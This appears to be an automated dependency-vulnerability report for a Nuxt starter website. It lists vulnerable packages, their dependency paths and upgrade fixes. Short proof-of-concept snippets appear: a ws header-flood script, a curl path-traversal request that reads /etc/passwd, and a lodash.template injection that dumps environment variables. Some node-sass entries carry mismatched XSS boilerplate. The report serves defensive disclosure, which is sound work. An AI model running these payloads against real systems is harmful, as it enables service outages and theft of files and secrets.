  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0

…and 41 more

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

Prototype Pollution vulnerability report

high severity

Denial of Service (DoS)

  • Vulnerable module: ws
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ws@4.1.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ws@4.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

Workaround

This issue can be mitigating by following these steps:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

  2. Set server.maxHeadersCount to 0 so that no limit is applied.

PoC


const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

References

Denial of Service (DoS) vulnerability report

high severity

Path Traversal

  • Vulnerable module: webpack-dev-middleware
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-dev-middleware@2.0.6
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-dev-middleware@2.0.6
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs filesystem. When the writeToDisk configuration option is set to true, the physical filesystem is utilized. The getFilenameFromUrl method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped path suffix to the outputPath. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e and %2f sequences to perform a path traversal attack.

Notes:

  1. This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.

  2. If the development server is exposed on a public IP address or 0.0.0.0, an attacker on the local network can access the files without victim interaction.

  3. If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.

PoC

A blank project can be created containing the following configuration file webpack.config.js:

module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };

When started, it is possible to access any local file, e.g. /etc/passwd:

$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Remediation

Upgrade webpack-dev-middleware to version 5.3.4, 6.1.2, 7.1.0 or higher.

References

Path Traversal vulnerability report

high severity

Code Injection

  • Vulnerable module: lodash.template
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue-server-renderer@2.7.16 › lodash.template@4.5.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-initial@2.0.0 › lodash.template@4.5.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue-server-renderer@2.7.16 › lodash.template@4.5.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-initial@2.0.0 › lodash.template@4.5.0

…and 1 more

Overview

lodash.template is a The Lodash method _.template exported as a Node.js module.

Affected versions of this package are vulnerable to Code Injection via template.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

There is no fixed version for lodash.template.

References

Code Injection vulnerability report

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.28.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

Cross-site Request Forgery (CSRF) vulnerability report

medium severity

Information Exposure

  • Vulnerable module: node-fetch
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › node-fetch@1.6.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › node-fetch@1.6.3

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.

Remediation

Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.

References

Information Exposure vulnerability report

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). Uncontrolled recursion is possible in Sass::Complex_Selector::perform in ast.hpp and Sass::Inspect::operator in inspect.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

Denial of Service (DoS) vulnerability report

medium severity

Out-of-Bounds

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-Bounds. A heap-based buffer over-read exists in Sass::Prelexer::parenthese_scope in prelexer.hpp. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

Out-of-Bounds vulnerability report

medium severity

Out-of-Bounds

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-Bounds via Sass::Prelexer::alternatives in prelexer.hpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

